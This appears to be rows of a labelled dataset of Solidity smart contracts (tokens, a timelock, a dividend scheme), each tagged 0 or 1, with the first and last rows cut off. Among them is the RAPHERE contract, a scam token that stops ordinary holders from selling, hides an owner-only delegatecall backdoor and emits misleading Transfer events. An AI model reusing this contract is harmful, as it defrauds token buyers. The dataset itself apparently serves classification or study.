DAO constant public mainDAO = DAO(0x1ca6abd14d30affe533b24d7a21bff4c2d5e1f3b);
address constant public trustee = 0xda4a4626d3e16e094de3225a751aab7128e96526;
function withdraw(){
uint balance = mainDAO.balanceOf(msg.sender);
if (!mainDAO.transferFrom(msg.sender, this, balance) || !msg.sender.send(balance))
throw;
}
function trusteeWithdraw() {
trustee.send((this.balance + mainDAO.balanceOf(this)) - mainDAO.totalSupply());
}
} | 0 | 2,214 |
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 29289600;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0xFeC27188d97bbAEF6840bE32214Ea793894C1d1D;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 1 | 2,923 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract RAPHERE {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,810 |
pragma solidity ^0.4.25;
contract Metadollar {
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
modifier onlyStronghands() {
require(myDividends(true) > 0);
_;
}
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[keccak256(_customerAddress)]);
_;
}
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
string public name = "Metadollar";
string public symbol = "DOL";
uint8 constant public decimals = 18;
uint8 constant internal dividendFee_ = 10;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2**64;
uint256 public stakingRequirement = 1;
mapping(address => bool) internal ambassadors_;
uint256 constant internal ambassadorMaxPurchase_ = 1 ether;
uint256 constant internal ambassadorQuota_ = 20 ether;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => uint256) internal ambassadorAccumulatedQuota_;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
mapping(bytes32 => bool) public administrators;
bool public onlyAmbassadors = false;
function Metadollar()
public
{
}
function buy(address _referredBy)
public
payable
returns(uint256)
{
purchaseTokens(msg.value, _referredBy);
}
function()
payable
public
{
purchaseTokens(msg.value, 0x0);
}
function reinvest()
onlyStronghands()
public
{
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit()
public
{
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw()
onlyStronghands()
public
{
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens)
onlyBagholders()
public
{
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders() public returns(bool) {
address _customerAddress = msg.sender;
require(!onlyAmbassadors && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if(myDividends(true) > 0) withdraw();
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _amountOfTokens);
Transfer(_customerAddress, _toAddress, _amountOfTokens);
return true;
}
function disableInitialStage()
onlyAdministrator()
public
{
return;
}
function setAdministrator(bytes32 _identifier, bool _status)
onlyAdministrator()
public
{
return;
}
function setStakingRequirement(uint256 _amountOfTokens)
onlyAdministrator()
public
{
return;
}
function setName(string _name)
onlyAdministrator()
public
{
return;
}
function setSymbol(string _symbol)
onlyAdministrator()
public
{
return;
}
function totalEthereumBalance()
public
view
returns(uint)
{
return this.balance;
}
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus)
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice()
public
view
returns(uint256)
{
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ );
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice()
public
view
returns(uint256)
{
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ );
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _dividends = SafeMath.div(_ethereumToSpend, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
internal
returns(uint256)
{
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(_incomingEthereum, dividendFee_);
uint256 _referralBonus = SafeMath.div(_undividedDividends, 3);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
if(
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement
){
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if(tokenSupply_ > 0){
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
)/(tokenPriceIncremental_)
)-(tokenSupply_)
;
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens)
internal
view
returns(uint256)
{
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
SafeMath.sub(
(
(
(
tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18))
)-tokenPriceIncremental_
)*(tokens_ - 1e18)
),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2
)
/1e18);
return _etherReceived;
}
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 3,486 |
pragma solidity ^0.4.24;
contract Owned {
address public owner;
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function setOwner(address _owner) onlyOwner public {
owner = _owner;
}
}
contract SafeMath {
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
assert(c >= _a);
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_a >= _b);
return _a - _b;
}
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a * _b;
assert(_a == 0 || c / _a == _b);
return c;
}
}
contract Token is SafeMath, Owned {
uint256 constant DAY_IN_SECONDS = 86400;
string public constant standard = "0.777";
string public name = "";
string public symbol = "";
uint8 public decimals = 0;
uint256 public totalSupply = 0;
mapping (address => uint256) public balanceP;
mapping (address => mapping (address => uint256)) public allowance;
mapping (address => uint256[]) public lockTime;
mapping (address => uint256[]) public lockValue;
mapping (address => uint256) public lockNum;
mapping (address => bool) public locker;
uint256 public later = 0;
uint256 public earlier = 0;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event TransferredLocked(address indexed _from, address indexed _to, uint256 _time, uint256 _value);
event TokenUnlocked(address indexed _address, uint256 _value);
function Token(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply) public {
require(bytes(_name).length > 0 && bytes(_symbol).length > 0);
name = _name;
symbol = _symbol;
decimals = _decimals;
totalSupply = _totalSupply;
balanceP[msg.sender] = _totalSupply;
}
modifier validAddress(address _address) {
require(_address != 0x0);
_;
}
function addLocker(address _address) public validAddress(_address) onlyOwner {
locker[_address] = true;
}
function removeLocker(address _address) public validAddress(_address) onlyOwner {
locker[_address] = false;
}
function setUnlockEarlier(uint256 _earlier) public onlyOwner {
earlier = add(earlier, _earlier);
}
function setUnlockLater(uint256 _later) public onlyOwner {
later = add(later, _later);
}
function balanceUnlocked(address _address) public view returns (uint256 _balance) {
_balance = balanceP[_address];
uint256 i = 0;
while (i < lockNum[_address]) {
if (add(now, earlier) > add(lockTime[_address][i], later)) _balance = add(_balance, lockValue[_address][i]);
i++;
}
return _balance;
}
function balanceLocked(address _address) public view returns (uint256 _balance) {
_balance = 0;
uint256 i = 0;
while (i < lockNum[_address]) {
if (add(now, earlier) < add(lockTime[_address][i], later)) _balance = add(_balance, lockValue[_address][i]);
i++;
}
return _balance;
}
function balanceOf(address _address) public view returns (uint256 _balance) {
_balance = balanceP[_address];
uint256 i = 0;
while (i < lockNum[_address]) {
_balance = add(_balance, lockValue[_address][i]);
i++;
}
return _balance;
}
function showTime(address _address) public view validAddress(_address) returns (uint256[] _time) {
uint i = 0;
uint256[] memory tempLockTime = new uint256[](lockNum[_address]);
while (i < lockNum[_address]) {
tempLockTime[i] = sub(add(lockTime[_address][i], later), earlier);
i++;
}
return tempLockTime;
}
function showValue(address _address) public view validAddress(_address) returns (uint256[] _value) {
return lockValue[_address];
}
function calcUnlock(address _address) private {
uint256 i = 0;
uint256 j = 0;
uint256[] memory currentLockTime;
uint256[] memory currentLockValue;
uint256[] memory newLockTime = new uint256[](lockNum[_address]);
uint256[] memory newLockValue = new uint256[](lockNum[_address]);
currentLockTime = lockTime[_address];
currentLockValue = lockValue[_address];
while (i < lockNum[_address]) {
if (add(now, earlier) > add(currentLockTime[i], later)) {
balanceP[_address] = add(balanceP[_address], currentLockValue[i]);
emit TokenUnlocked(_address, currentLockValue[i]);
} else {
newLockTime[j] = currentLockTime[i];
newLockValue[j] = currentLockValue[i];
j++;
}
i++;
}
uint256[] memory trimLockTime = new uint256[](j);
uint256[] memory trimLockValue = new uint256[](j);
i = 0;
while (i < j) {
trimLockTime[i] = newLockTime[i];
trimLockValue[i] = newLockValue[i];
i++;
}
lockTime[_address] = trimLockTime;
lockValue[_address] = trimLockValue;
lockNum[_address] = j;
}
function transfer(address _to, uint256 _value) public validAddress(_to) returns (bool success) {
if (lockNum[msg.sender] > 0) calcUnlock(msg.sender);
if (balanceP[msg.sender] >= _value && _value > 0) {
balanceP[msg.sender] = sub(balanceP[msg.sender], _value);
balanceP[_to] = add(balanceP[_to], _value);
emit Transfer(msg.sender, _to, _value);
return true;
}
else {
return false;
}
}
function transferLocked(address _to, uint256[] _time, uint256[] _value) public validAddress(_to) returns (bool success) {
require(_value.length == _time.length);
if (lockNum[msg.sender] > 0) calcUnlock(msg.sender);
uint256 i = 0;
uint256 totalValue = 0;
while (i < _value.length) {
totalValue = add(totalValue, _value[i]);
i++;
}
if (balanceP[msg.sender] >= totalValue && totalValue > 0) {
i = 0;
while (i < _time.length) {
balanceP[msg.sender] = sub(balanceP[msg.sender], _value[i]);
lockTime[_to].length = lockNum[_to]+1;
lockValue[_to].length = lockNum[_to]+1;
lockTime[_to][lockNum[_to]] = add(now, _time[i]);
lockValue[_to][lockNum[_to]] = _value[i];
emit TransferredLocked(msg.sender, _to, lockTime[_to][lockNum[_to]], lockValue[_to][lockNum[_to]]);
emit Transfer(msg.sender, _to, lockValue[_to][lockNum[_to]]);
lockNum[_to]++;
i++;
}
return true;
}
else {
return false;
}
}
function transferLockedFrom(address _from, address _to, uint256[] _time, uint256[] _value) public
validAddress(_from) validAddress(_to) returns (bool success) {
require(locker[msg.sender]);
require(_value.length == _time.length);
if (lockNum[_from] > 0) calcUnlock(_from);
uint256 i = 0;
uint256 totalValue = 0;
while (i < _value.length) {
totalValue = add(totalValue, _value[i]);
i++;
}
if (balanceP[_from] >= totalValue && totalValue > 0) {
i = 0;
while (i < _time.length) {
balanceP[_from] = sub(balanceP[_from], _value[i]);
lockTime[_to].length = lockNum[_to]+1;
lockValue[_to].length = lockNum[_to]+1;
lockTime[_to][lockNum[_to]] = add(now, _time[i]);
lockValue[_to][lockNum[_to]] = _value[i];
emit TransferredLocked(_from, _to, lockTime[_to][lockNum[_to]], lockValue[_to][lockNum[_to]]);
emit Transfer(_from, _to, lockValue[_to][lockNum[_to]]);
lockNum[_to]++;
i++;
}
return true;
}
else {
return false;
}
}
function transferFrom(address _from, address _to, uint256 _value) public validAddress(_from) validAddress(_to) returns (bool success) {
if (lockNum[_from] > 0) calcUnlock(_from);
if (balanceP[_from] >= _value && _value > 0) {
allowance[_from][msg.sender] = sub(allowance[_from][msg.sender], _value);
balanceP[_from] = sub(balanceP[_from], _value);
balanceP[_to] = add(balanceP[_to], _value);
emit Transfer(_from, _to, _value);
return true;
}
else {
return false;
}
}
function approve(address _spender, uint256 _value) public validAddress(_spender) returns (bool success) {
require(_value == 0 || allowance[msg.sender][_spender] == 0);
if (lockNum[msg.sender] > 0) calcUnlock(msg.sender);
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function () public payable {
revert();
}
} | 1 | 3,141 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
